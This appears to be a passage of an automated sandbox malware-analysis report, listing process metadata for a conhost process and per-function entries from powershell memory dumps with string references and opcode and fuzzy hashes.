MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	02:56:22
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 04EFB619 Relevance: 1.5, Strings: 1, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f](, xrefs: 04EFB8C0, 04EFB8C5

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: 2b9752f1d486e74c3e71a3131161cc027e0c285fdfbb5ff21503b46279e523fa
Instruction ID: 0ff6cfa46f649cc440132141e6d37772ffba3e547a9e42c9110d6b5c44b8ff4e
Opcode Fuzzy Hash: 2b9752f1d486e74c3e71a3131161cc027e0c285fdfbb5ff21503b46279e523fa
Instruction Fuzzy Hash: 8D916071B007196FDB19EBB4C8055AEBBF2EFC4604B00892DD14AAB354DF746D0A8BD6

Function 04EFB628 Relevance: 1.5, Strings: 1, Instructions: 252
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f](, xrefs: 04EFB8C0, 04EFB8C5

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: eaf40f42444557cb060926763d9dd067b4987f7d78e454ba165cea2db99745cd
Instruction ID: b182f0207557dadb606b53e56fc3c2cd8807da2bc7519985697198875589cb17
Opcode Fuzzy Hash: eaf40f42444557cb060926763d9dd067b4987f7d78e454ba165cea2db99745cd
Instruction Fuzzy Hash: A1917F71B007196FDB19EBB4C8055AEB7F2EFC4604B00892DD14AAB354DF74AD0A8BD6

Function 07D72430 Relevance: 23.3, Strings: 18, Instructions: 827COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07D726BF
<c&k, xrefs: 07D72683
J4l, xrefs: 07D7269D
J4l, xrefs: 07D7289A
4'^q, xrefs: 07D726B3
)l, xrefs: 07D7273A
J4l, xrefs: 07D72691
J4l, xrefs: 07D724ED
J4l, xrefs: 07D724F9
4'^q, xrefs: 07D728BD
r3l, xrefs: 07D72809
r3l, xrefs: 07D727FF
J4l, xrefs: 07D724A7
4'^q, xrefs: 07D728C9
J4l, xrefs: 07D728A6
J4l, xrefs: 07D72657
)l, xrefs: 07D7272C
J4l, xrefs: 07D7284E

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<c&k$J4l$J4l$J4l$J4l$J4l$J4l$J4l$J4l$J4l$r3l$r3l$)l$)l
API String ID: 0-2108128534
Opcode ID: 7c7329920df7e15b505cc6071478545ee0f1ed9df9e0b38045dbe1fbb8b1bdfe
Instruction ID: ca766d4f1b84657a55e0227edf28b3bc333d9061e12ab3a834649f6de9af764c
Opcode Fuzzy Hash: 7c7329920df7e15b505cc6071478545ee0f1ed9df9e0b38045dbe1fbb8b1bdfe
Instruction Fuzzy Hash: A14258B1B00286CFDB149F69D8416AAFBF1BF89320F14807AD545CB351EB36E945CBA1

Function 07D73420 Relevance: 15.4, Strings: 12, Instructions: 439
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<-%k, xrefs: 07D73483
$^q, xrefs: 07D736C0
$^q, xrefs: 07D736DC
4'^q, xrefs: 07D734B2
4'^q, xrefs: 07D734BE
$^q, xrefs: 07D73704
$^q, xrefs: 07D736F8
tP^q, xrefs: 07D73768
tP^q, xrefs: 07D7375C
$^q, xrefs: 07D73717
L3l, xrefs: 07D73592
$^q, xrefs: 07D73723

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$<-%k$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$L3l
API String ID: 0-1713787145
Opcode ID: a4061af570e5b5b056a5da52b3c1bf61ea28d084ed1e65cdbdc4527016b85cc9
Instruction ID: 64fd01aa7c413db3be881fe5e47331ab8c5509625e9a120f6dfc49b5140caf6c
Opcode Fuzzy Hash: a4061af570e5b5b056a5da52b3c1bf61ea28d084ed1e65cdbdc4527016b85cc9
Instruction Fuzzy Hash: 91E146B6B043999FC7158B789800A6AFFF5AFC6210F1484BBD585CF352EA32C845C7A1

Function 07D75200 Relevance: 7.9, Strings: 6, Instructions: 375
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07D7545A
$^q, xrefs: 07D754E6
$^q, xrefs: 07D7547B
$^q, xrefs: 07D75500
$^q, xrefs: 07D75510
$^q, xrefs: 07D754D6

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 2758b2c3b8d2b82ef128374fa832be38a7c30bf3bcdfac44fd90071c033715bf
Instruction ID: c27babf50739894026ee8600efb4b5e48f7ded696acafa630af53d83fe345b47
Opcode Fuzzy Hash: 2758b2c3b8d2b82ef128374fa832be38a7c30bf3bcdfac44fd90071c033715bf
Instruction Fuzzy Hash: 75C12BB17002099FCB159F78E840B6EBBE2AF85211F14846AE506CF261EB35DD55CBA2

Function 07D75385 Relevance: 5.1, Strings: 4, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 07D7545A
$^q, xrefs: 07D7547B
$^q, xrefs: 07D75500
$^q, xrefs: 07D754D6

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 4fd54e4f1f6020d2605a97836bc8948a233d2ce9a4f8a742b02243d7c51293f6
Instruction ID: b6cce335f8ab8a36f6d1b4bf3e93e8e70068c356ccc03872dc2ce2f225633b97
Opcode Fuzzy Hash: 4fd54e4f1f6020d2605a97836bc8948a233d2ce9a4f8a742b02243d7c51293f6
Instruction Fuzzy Hash: 2041E5F0A10249DFDB248F28E445B79FBF1AF01245F948066F40A8F191FB79D9A4CB62

Function 08F04EA2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 08F04F0A

Strings

f](, xrefs: 08F04EC2

Memory Dump Source

Source File: 00000003.00000002.1804096861.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f00000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID: f](
API String ID: 3254676861-939721481
Opcode ID: d3836555aacd90242a36a4cb260b9be72468bdbaf5f1f9968d5f27a2c213b16e
Instruction ID: 8e6483157d5141da58b3e4917b49c7927fa457f078e3d65a5e528c048cb3c27a
Opcode Fuzzy Hash: d3836555aacd90242a36a4cb260b9be72468bdbaf5f1f9968d5f27a2c213b16e
Instruction Fuzzy Hash: 9A1116B19002488FCB10DF9DD5847DEBFF4EB88324F248459D558A7350C774A944CFA5

Function 08F04EA8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadToken.KERNELBASE ref: 08F04F0A

Strings

f](, xrefs: 08F04EC2

Memory Dump Source

Source File: 00000003.00000002.1804096861.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f00000_powershell.jbxd

Similarity

API ID: ThreadToken
String ID: f](
API String ID: 3254676861-939721481
Opcode ID: c2a73a94940b262969aac682045e2aac49204ada0ee0f791288324a033a71e38
Instruction ID: d997a9c533e7c3a799053d473ece06645807b12648aff2cb3d6d1d3dd069bed0
Opcode Fuzzy Hash: c2a73a94940b262969aac682045e2aac49204ada0ee0f791288324a033a71e38
Instruction Fuzzy Hash: CF1106B59002488FCB10DF9ED984BDEFBF8EB88324F148419D559A7350D774A944CFA5

Function 04EFB530 Relevance: 2.6, Strings: 2, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f](, xrefs: 04EFB59A
(&^q, xrefs: 04EFB552

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f]($(&^q
API String ID: 0-2724412695
Opcode ID: 313cca327884026123792f823ea79011de1f775392676938adb160867126e342
Instruction ID: c1f5a52a49ff22b628847f8acb689e8ca70d2feabd97fd5ea8863fb28e42b46c
Opcode Fuzzy Hash: 313cca327884026123792f823ea79011de1f775392676938adb160867126e342
Instruction Fuzzy Hash: AD21D171E042588FCB14DFAED8446DEBFF5EB88320F14846ED509E7310CA35A805CBA5

Function 04EFC058 Relevance: 1.4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f](, xrefs: 04EFC07D

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: 50c2ba90d9585741f0f1055959b2217c408c6992274ab8d161d1cf7e2b1ee09d
Instruction ID: 43b51f475463e3498465782fa45f7232871768eebc2cfd9c9eab65cabd50d008
Opcode Fuzzy Hash: 50c2ba90d9585741f0f1055959b2217c408c6992274ab8d161d1cf7e2b1ee09d
Instruction Fuzzy Hash: 0E611871E012488FDB14DFA9D9846CDFBF2FF88314F248169E909AB364DB70A885CB50

Function 04E616B0 Relevance: 1.4, Strings: 1, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f](, xrefs: 04E616CC

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: 8e9c7c251614438a4bec047105154496561cf02c79c3d1f0ae082b22d1713abc
Instruction ID: c7c25d7e1c0461b5a3f6c5dcd814c87c3be364317a2caa7b707072fc16bae06d
Opcode Fuzzy Hash: 8e9c7c251614438a4bec047105154496561cf02c79c3d1f0ae082b22d1713abc
Instruction Fuzzy Hash: 0A517E71E4021A8FDB15DFA9C9407EEFBF1BF48348F148129D91AA7250EB74A800CF95

Function 04EFC049 Relevance: 1.4, Strings: 1, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f](, xrefs: 04EFC07D

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: d66eb06f27d80d916d3ece62dc452380a11bf17cea5669e3486a7d2298c9ad6b
Instruction ID: 999a0f12258c3430966f40327f790b04f3ba81356587abcb4847dbe67e6d0f3d
Opcode Fuzzy Hash: d66eb06f27d80d916d3ece62dc452380a11bf17cea5669e3486a7d2298c9ad6b
Instruction Fuzzy Hash: 6F511771E01248CFDB44DFA9D984A8DFBF2FF88310F248169E909AB364DB30A845CB50

Function 04E616A0 Relevance: 1.4, Strings: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

f](, xrefs: 04E616CC

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: 804ced20d8fce401cf4b6bb9902a83c03f3dd5ecb902b6d45d7188b217f40c30
Instruction ID: e817ee1122164f8c7b7ee528252458cd35acf1184d21f9e7e6d611620fa451a4
Opcode Fuzzy Hash: 804ced20d8fce401cf4b6bb9902a83c03f3dd5ecb902b6d45d7188b217f40c30
Instruction Fuzzy Hash: 12517A71E4121A8FDB16DFA9C9806AEFBF1BF48384F148129D906A7250EB74A800CF95

Function 04EF7580 Relevance: 1.4, Strings: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 04EF76A5

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 98bfe1eebebe8173974445d089eb5c52d8c96514d98f7264311a993c97d423bb
Instruction ID: 8bdd65d5f5364364675f4e81ba884025e5aee8d5f6333b607ddfa7b2ab34e59b
Opcode Fuzzy Hash: 98bfe1eebebe8173974445d089eb5c52d8c96514d98f7264311a993c97d423bb
Instruction Fuzzy Hash: 2A413B34B002148FDB19DF69C858AADBBF2EF8D315F1554A8E506AB395DB35EC01CB60

Function 04EF9588 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

f](, xrefs: 04EF95B4

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: df39c142074baf059843865986c83ba5cc2f43b23451920df1ad26ee14c57d99
Instruction ID: 511b9ae3dc0be7676dd178388840b7d1cb76e77aad0f9b69823474167c75fc71
Opcode Fuzzy Hash: df39c142074baf059843865986c83ba5cc2f43b23451920df1ad26ee14c57d99
Instruction Fuzzy Hash: FD319CB49057448EDB60CF2AD4887DAFFF2EF88318F28C46DD98DAB216C6746485CB51

Function 04EF9598 Relevance: 1.3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

Strings

f](, xrefs: 04EF95B4

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: f36880a035fe09aadc5d464ee1ca0e413ca24b05148bf46867574fb4c9600f14
Instruction ID: 53b1e3233ce5a38856c87b863611b9db551b55993fb33d88a7b04070dabeee8e
Opcode Fuzzy Hash: f36880a035fe09aadc5d464ee1ca0e413ca24b05148bf46867574fb4c9600f14
Instruction Fuzzy Hash: AE217CB4A053048EDB60CF6AD4887DAFBF6EF88318F28C46DD98D9B216D67464818B54

Function 04EFF861 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

f](, xrefs: 04EFF87F

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: a505e5ff2a6a21b928d753800b1e59989248a2601e2e5444f799a49952d80cba
Instruction ID: 5cca504104d1641449eaf64c91f9621f5d8582e53df1af3cdb56a824c1907fe8
Opcode Fuzzy Hash: a505e5ff2a6a21b928d753800b1e59989248a2601e2e5444f799a49952d80cba
Instruction Fuzzy Hash: 5401E271D0578ADADB04DFA8C8445EDBBB0FF99300F24176EE015AA655EBB02696CB80

Function 04EFF870 Relevance: 1.3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

Strings

f](, xrefs: 04EFF87F

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: f](
API String ID: 0-939721481
Opcode ID: 91566d0483e7ee8fb541d2c153507de86104bbe91697d49c0952d9d1257b0058
Instruction ID: 0dbf40d566203125807d969e6d7856f69be7ab0c4dc0caf551d1969d2b05dd61
Opcode Fuzzy Hash: 91566d0483e7ee8fb541d2c153507de86104bbe91697d49c0952d9d1257b0058
Instruction Fuzzy Hash: D601A471D1075ADBCB44DFE4C8446EDFBB4FF99300F20572AE015A6640EBB06696CB80

Function 04EF2B60 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 380dce7450304907317c6cf6fbc89704b976a6fd45bc4fa4f99dc1875dda0e04
Instruction ID: a9433e9934cc44858034cf832f01e5cd39a7e4d02bb3c9ed5fe0dad78d8cbf36
Opcode Fuzzy Hash: 380dce7450304907317c6cf6fbc89704b976a6fd45bc4fa4f99dc1875dda0e04
Instruction Fuzzy Hash: 2EA19074A006059FCB05CF59C8949AEFBB1FF88310B2485A9DA15AB3A5D736FC41CFA0

Function 04E60636 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94889087e94d51e9b82e53704d64141c3dae596df7df7247ce2221763423778e
Instruction ID: 8b1acd75b74c3039b6b21ef5e902cdf0b494b1ef1a24f5f81a84a9aabaacda59
Opcode Fuzzy Hash: 94889087e94d51e9b82e53704d64141c3dae596df7df7247ce2221763423778e
Instruction Fuzzy Hash: 13715830E00258DFCB18DFB5D494AADBBF2BF88344F148429D416AB2A4DB74AD46CF51

Function 04E60006 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a35274da729de6a0b2abbf37420e9d0b0c8b6770a895c54a4a5896442492ff1d
Instruction ID: 3f9c1de5fb7daa72e43d34254a6fd395764578af6f655ec67db408415db78400
Opcode Fuzzy Hash: a35274da729de6a0b2abbf37420e9d0b0c8b6770a895c54a4a5896442492ff1d
Instruction Fuzzy Hash: F9716F34A40399CFCB05DFA4C594A9DBBB2FF85304F158559D402AF36AD774AD89CB80

Function 04E60040 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c11c180c00e4f343f76bd51a402cd421d1fb289462766db665a526f694abb4d6
Instruction ID: 4fd234dfa19758dc8a4d9f9d8e30e8f97355c57fe8e67a5a1bb47ef2b053f65b
Opcode Fuzzy Hash: c11c180c00e4f343f76bd51a402cd421d1fb289462766db665a526f694abb4d6
Instruction Fuzzy Hash: 58612034A40259CFCB05DFA4C594A9DBBB2FF84344F259558E402AF36ADB74ED89CB80

Function 04EF7CE0 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fad1ca7625692e8bd12a0d23ecdb85b265ed492851c01993d862d50823db807
Instruction ID: 9f3685ae1249ed5e13129b45afaee43155c0314dba969b1738cd014eb1d6ad42
Opcode Fuzzy Hash: 7fad1ca7625692e8bd12a0d23ecdb85b265ed492851c01993d862d50823db807
Instruction Fuzzy Hash: 3051B135300205DFD704DB69DC44A7AB7EAFFC9218F15896AE609CB355EB36EC018BA0

Function 04E604C8 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d0796a9a1dc669622a4049a24f698d13e3f086e573e50820f8ebff453709869
Instruction ID: 554cb5a507a4e9693529098634e6c6642d31657c1a7fad60e3372561fa96925e
Opcode Fuzzy Hash: 3d0796a9a1dc669622a4049a24f698d13e3f086e573e50820f8ebff453709869
Instruction Fuzzy Hash: E5516F70A002589FCB18DFB9D884A9EBBF2FF89355F148429D006EB364DB75AC46CB50

Function 04E604B8 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4977ed4a415c1abada1266fe76822b821f20564ac262b1a8a9be8f1f72ef031e
Instruction ID: 19ec722e69c2a3fcf61cd779b356945874909e103f83c9633f1a1189529a9dd2
Opcode Fuzzy Hash: 4977ed4a415c1abada1266fe76822b821f20564ac262b1a8a9be8f1f72ef031e
Instruction Fuzzy Hash: BE415C70E00658DFDB28DFA9C484A9DBBF2BF85355F148829D006AB364DBB4A945CB90

Function 04E60FB0 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549e2d6d0e6a0f79776f43b79b41c3c50e5e1e3ba26e639d89b90b9382beadfb
Instruction ID: 7c8638748f6eef16acdd38cc446aef3afbdb6a10eb0aec65c2bee9b282c19e9b
Opcode Fuzzy Hash: 549e2d6d0e6a0f79776f43b79b41c3c50e5e1e3ba26e639d89b90b9382beadfb
Instruction Fuzzy Hash: 02412530A4439A8FCB09DFB5C5506EDFFB2AF85340F14462AD406EF251DBB0A989CB90

Function 04EF2C70 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3243cbd44acb08b2d70f97d19c9d9d623efef55ede2edc060bfb6ec357e491d5
Instruction ID: c031be947e3945dac164ca7cab87180dd9a025f12785982a1c7223c959ffacbf
Opcode Fuzzy Hash: 3243cbd44acb08b2d70f97d19c9d9d623efef55ede2edc060bfb6ec357e491d5
Instruction Fuzzy Hash: 8D4159B4A006059FCB05CF49C9949AEFBB1FF48310B158699DA05AB3A4C736FC50CFA4

Function 04EFC920 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d07b06d6ef938cac3da411214799173de0d16ed4ca72b143369b8f56059f936a
Instruction ID: bf0b71e2f698a5905ce4733e495501a2344a07c59456fd36a64dce81b4392217
Opcode Fuzzy Hash: d07b06d6ef938cac3da411214799173de0d16ed4ca72b143369b8f56059f936a
Instruction Fuzzy Hash: D43189353016019FC705EB68E854B9ABBE6FFC4215F148639D20ACB365DBB4AC45CBA4

Function 04E60B02 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797940034.0000000004E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4e60000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e4fdc4a433de6ebd1ef5a69494ed5c5ed64a32c2ba6bf472f6c771eb99de19
Instruction ID: 3fc17dc73ce190b8a9d3fcdd49d293be5105ad0d589c8e72f037776706eac04e
Opcode Fuzzy Hash: d9e4fdc4a433de6ebd1ef5a69494ed5c5ed64a32c2ba6bf472f6c771eb99de19
Instruction Fuzzy Hash: BB319F30B00654DFDB18DF21C558AADBBB2EF88395F04556CE807AB3A4DB70AD45DB60

Function 04EF7571 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6001194a269e41ea491d62a853a5b8649226b6d9b7cc9dbb23efeccdc0cbcc5a
Instruction ID: 732583bf7c5f22d9e7d05a809263387244ec4b874e92f7620acec731196cfb4a
Opcode Fuzzy Hash: 6001194a269e41ea491d62a853a5b8649226b6d9b7cc9dbb23efeccdc0cbcc5a
Instruction Fuzzy Hash: 6C313B34A00115CFDB14DF69C998AADBBF1AF8D314F1954A8E906AB3A5DB31EC41DB20

Function 04EFB3F9 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1797989129.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4de3323c0d8336aef3eb2588fbdbab202d1690243aa89ff5086bcb844f2946a0
Instruction ID: 69ccdb9d5e1bc746bc8b23dc12ad8de0715aa7a750cc65bfcd956e13beb80179
Opcode Fuzzy Hash: 4de3323c0d8336aef3eb2588fbdbab202d1690243aa89ff5086bcb844f2946a0
Instruction Fuzzy Hash: A231AD30E006099FCB05EFA9C9547AEBBF6AFC9314F148069E605EB351EA74AC448B61

Function 07D7299D Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1801668996.0000000007D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7d70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14421a26e33ac81075c94a8ce0966da3c20c11d712345430a4ed83c5c3ded73c
Instruction ID: e1314fb9233028ad6f7a855c43e241b439623c95534b631117319c20b10b1e29
Opcode Fuzzy Hash: 14421a26e33ac81075c94a8ce0966da3c20c11d712345430a4ed83c5c3ded73c
Instruction Fuzzy Hash: 5A31C1B1A00386DFDB248F59CA85AA5FBF0BB49331F04C1A6E8589B251E330EA44CB51

